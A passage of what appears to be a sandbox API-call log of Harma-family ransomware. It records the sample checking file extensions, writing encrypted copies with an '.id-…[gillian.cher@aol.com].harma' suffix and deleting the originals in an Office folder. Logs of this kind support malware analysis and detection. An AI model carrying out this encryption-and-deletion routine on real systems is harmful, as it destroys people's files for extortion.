lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.249] lstrlenW (lpString=".xls") returned 4 [0158.249] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.249] lstrlenW (lpString=".xlsx") returned 5 [0158.249] lstrcmpiW (lpString1=".xlsx", lpString2="1.VRD") returned -1 [0158.249] lstrlenW (lpString=".ppt") returned 4 [0158.249] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.249] lstrlenW (lpString=".zip") returned 4 [0158.249] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.249] lstrlenW (lpString=".rar") returned 4 [0158.249] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.249] lstrlenW (lpString=".bz2") returned 4 [0158.249] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.249] lstrlenW (lpString=".7z") returned 3 [0158.249] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.249] lstrlenW (lpString=".dbf") returned 4 [0158.249] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.249] lstrlenW (lpString=".1cd") returned 4 [0158.249] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.249] lstrlenW (lpString=".jpg") returned 4 [0158.249] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.249] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0158.249] lstrlenW (lpString="OIS.HXS") returned 7 [0158.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.250] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=457988) returned 1 [0158.250] CloseHandle (hObject=0x348) returned 1 [0158.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs")) returned 0x20 [0158.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.251] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.251] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.252] GetLastError () returned 0x0 [0158.252] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x6fd04, lpOverlapped=0x0) returned 1 [0158.312] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x6fd10, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x6fd10, lpOverlapped=0x0) returned 1 [0158.321] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.321] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe2, lpOverlapped=0x0) returned 1 [0158.322] SetEndOfFile (hFile=0x370) returned 1 [0158.322] CloseHandle (hObject=0x370) returned 1 [0158.322] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.322] SetEndOfFile (hFile=0x348) returned 1 [0158.550] CloseHandle (hObject=0x348) returned 1 [0158.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs")) returned 1 [0158.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.640] lstrlenW (lpString=".doc") returned 4 [0158.640] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0158.640] lstrlenW (lpString=".docx") returned 5 [0158.640] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0158.640] lstrlenW (lpString=".pdf") returned 4 [0158.640] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0158.640] lstrlenW (lpString=".xls") returned 4 [0158.640] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0158.640] lstrlenW (lpString=".xlsx") returned 5 [0158.640] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0158.640] lstrlenW (lpString=".ppt") returned 4 [0158.640] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0158.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.640] lstrlenW (lpString=".zip") returned 4 [0158.640] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0158.641] lstrlenW (lpString=".rar") returned 4 [0158.641] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0158.641] lstrlenW (lpString=".bz2") returned 4 [0158.641] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0158.641] lstrlenW (lpString=".7z") returned 3 [0158.641] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.641] lstrlenW (lpString=".dbf") returned 4 [0158.641] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.641] lstrlenW (lpString=".1cd") returned 4 [0158.641] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.641] lstrlenW (lpString=".jpg") returned 4 [0158.641] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.641] lstrlenW (lpString=".doc") returned 4 [0158.641] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0158.641] lstrlenW (lpString=".docx") returned 5 [0158.641] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0158.641] lstrlenW (lpString=".pdf") returned 4 [0158.641] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0158.641] lstrlenW (lpString=".xls") returned 4 [0158.641] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0158.641] lstrlenW (lpString=".xlsx") returned 5 [0158.641] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0158.641] lstrlenW (lpString=".ppt") returned 4 [0158.641] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0158.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.641] lstrlenW (lpString=".zip") returned 4 [0158.642] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0158.642] lstrlenW (lpString=".rar") returned 4 [0158.642] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0158.642] lstrlenW (lpString=".bz2") returned 4 [0158.642] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0158.642] lstrlenW (lpString=".7z") returned 3 [0158.642] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0158.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.642] lstrlenW (lpString=".dbf") returned 4 [0158.642] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0158.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.642] lstrlenW (lpString=".1cd") returned 4 [0158.642] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0158.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0158.642] lstrlenW (lpString=".jpg") returned 4 [0158.642] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0158.642] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0158.642] lstrlenW (lpString="ORGCH.VRD") returned 9 [0158.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.648] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1608) returned 1 [0158.648] CloseHandle (hObject=0x368) returned 1 [0158.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd")) returned 0x20 [0158.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0158.775] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.775] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0158.776] GetLastError () returned 0x0 [0158.776] ReadFile (in: hFile=0x334, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x648, lpOverlapped=0x0) returned 1 [0158.866] WriteFile (in: hFile=0x37c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x650, lpOverlapped=0x0) returned 1 [0158.867] ReadFile (in: hFile=0x334, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.867] WriteFile (in: hFile=0x37c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0158.867] SetEndOfFile (hFile=0x37c) returned 1 [0158.867] CloseHandle (hObject=0x37c) returned 1 [0158.867] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.867] SetEndOfFile (hFile=0x334) returned 1 [0158.870] CloseHandle (hObject=0x334) returned 1 [0158.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd")) returned 1 [0158.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.938] lstrlenW (lpString=".doc") returned 4 [0158.938] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.938] lstrlenW (lpString=".docx") returned 5 [0158.938] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0158.938] lstrlenW (lpString=".pdf") returned 4 [0158.938] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.938] lstrlenW (lpString=".xls") returned 4 [0158.938] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.938] lstrlenW (lpString=".xlsx") returned 5 [0158.938] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0158.938] lstrlenW (lpString=".ppt") returned 4 [0158.938] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.939] lstrlenW (lpString=".zip") returned 4 [0158.939] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.939] lstrlenW (lpString=".rar") returned 4 [0158.939] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.939] lstrlenW (lpString=".bz2") returned 4 [0158.939] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.939] lstrlenW (lpString=".7z") returned 3 [0158.939] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.939] lstrlenW (lpString=".dbf") returned 4 [0158.939] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.939] lstrlenW (lpString=".1cd") returned 4 [0158.939] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.939] lstrlenW (lpString=".jpg") returned 4 [0158.939] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.939] lstrlenW (lpString=".doc") returned 4 [0158.939] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.939] lstrlenW (lpString=".docx") returned 5 [0158.939] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0158.939] lstrlenW (lpString=".pdf") returned 4 [0158.939] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.939] lstrlenW (lpString=".xls") returned 4 [0158.939] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.939] lstrlenW (lpString=".xlsx") returned 5 [0158.939] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0158.940] lstrlenW (lpString=".ppt") returned 4 [0158.940] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.940] lstrlenW (lpString=".zip") returned 4 [0158.940] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.940] lstrlenW (lpString=".rar") returned 4 [0158.940] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.940] lstrlenW (lpString=".bz2") returned 4 [0158.940] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.940] lstrlenW (lpString=".7z") returned 3 [0158.940] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.940] lstrlenW (lpString=".dbf") returned 4 [0158.940] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.940] lstrlenW (lpString=".1cd") returned 4 [0158.940] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0158.940] lstrlenW (lpString=".jpg") returned 4 [0158.940] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.940] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0158.940] lstrlenW (lpString="OUTLOOK.DEV_COL.HXT") returned 19 [0158.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.941] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=211) returned 1 [0158.941] CloseHandle (hObject=0x338) returned 1 [0158.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt")) returned 0x20 [0158.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.942] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.942] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0158.942] GetLastError () returned 0x0 [0158.942] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xd3, lpOverlapped=0x0) returned 1 [0158.943] WriteFile (in: hFile=0x340, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe0, lpOverlapped=0x0) returned 1 [0158.944] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.944] WriteFile (in: hFile=0x340, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfa, lpOverlapped=0x0) returned 1 [0158.944] SetEndOfFile (hFile=0x340) returned 1 [0158.945] CloseHandle (hObject=0x340) returned 1 [0158.945] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.945] SetEndOfFile (hFile=0x338) returned 1 [0158.947] CloseHandle (hObject=0x338) returned 1 [0158.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt")) returned 1 [0158.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.948] lstrlenW (lpString=".doc") returned 4 [0158.948] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0158.948] lstrlenW (lpString=".docx") returned 5 [0158.948] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0158.948] lstrlenW (lpString=".pdf") returned 4 [0158.948] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0158.948] lstrlenW (lpString=".xls") returned 4 [0158.948] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0158.948] lstrlenW (lpString=".xlsx") returned 5 [0158.948] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0158.948] lstrlenW (lpString=".ppt") returned 4 [0158.948] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0158.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.948] lstrlenW (lpString=".zip") returned 4 [0158.949] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0158.949] lstrlenW (lpString=".rar") returned 4 [0158.949] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0158.949] lstrlenW (lpString=".bz2") returned 4 [0158.949] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0158.949] lstrlenW (lpString=".7z") returned 3 [0158.949] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0158.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.949] lstrlenW (lpString=".dbf") returned 4 [0158.949] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0158.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.949] lstrlenW (lpString=".1cd") returned 4 [0158.949] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0158.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.949] lstrlenW (lpString=".jpg") returned 4 [0158.949] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0158.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.949] lstrlenW (lpString=".doc") returned 4 [0158.949] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0158.949] lstrlenW (lpString=".docx") returned 5 [0158.949] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0158.949] lstrlenW (lpString=".pdf") returned 4 [0158.949] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0158.949] lstrlenW (lpString=".xls") returned 4 [0158.949] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0158.949] lstrlenW (lpString=".xlsx") returned 5 [0158.949] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0158.949] lstrlenW (lpString=".ppt") returned 4 [0158.950] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0158.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.950] lstrlenW (lpString=".zip") returned 4 [0158.950] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0158.950] lstrlenW (lpString=".rar") returned 4 [0158.950] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0158.950] lstrlenW (lpString=".bz2") returned 4 [0158.950] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0158.950] lstrlenW (lpString=".7z") returned 3 [0158.950] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0158.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.950] lstrlenW (lpString=".dbf") returned 4 [0158.950] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0158.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0158.950] 